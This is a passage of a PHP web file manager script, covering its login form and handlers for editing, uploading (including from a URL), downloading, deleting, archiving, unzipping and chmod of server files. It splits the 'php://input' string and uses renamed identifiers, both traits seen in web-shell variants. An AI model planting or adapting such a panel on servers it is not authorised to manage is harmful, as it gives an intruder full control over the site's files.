fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($dauth) {
if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
$_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
if (!isset($_GET['p']) and empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
header('HTTP/1.0 401 Unauthorized');
die("Invalid Token.");
}
if(isset($_POST['type']) and $_POST['type']=="search") {
$dir = $_POST['path'] == "." ? '': $_POST['path'];
$response = scan(fm_clean_path($dir), $_POST['content']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST['type']) and $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
// backup files
if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
$fileName = fm_clean_path($_POST['file']);
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) and $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), '?'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fanco($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fanco($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
$type = urldecode($_POST['newfile']);
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
// from
$copy = urldecode($_GET['copy']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$from = FM_ROOT_PATH . '/' . $copy;
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
$move = isset($_GET['move']);
$move = fm_clean_path(urldecode($move));
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
}
} else {
if (!$move){
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng('Invalid Token.'), 'error');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$f = fm_clean_path($f);
$from = $path . '/' . $f;
$dest = $copy_to_path . '/' . $f;
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
// old name
$old = urldecode($_POST['rename_from']);
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = urldecode($_POST['rename_to']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) and $old != '' and $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Download
if (isset($_GET['dl'], $_POST['token'])) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
$dl = urldecode($_GET['dl']);
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' and is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) and !FM_READONLY) {
if(isset($_POST['token'])) {
if(!verifyToken($_POST['token'])) {
$response = array ('status' => 'error','info' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array ('status' => 'error','info' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$fullPathInput = fm_clean_path($_REQUEST['fullpath']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream",
'errorDetails' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else {
if (rename($tmp_name, $fullPath)) {
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$files = $_POST['file'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$unzip = urldecode($_POST['unzip']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' and is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_POST['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) and fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
if (isset($_GET['upload']) and !FM_READONLY) {
fm_show_header();
fm_show_nav_path(FM_PATH);
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION and $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<?php print_external('css-dropzone'); ?>
<div class="path">
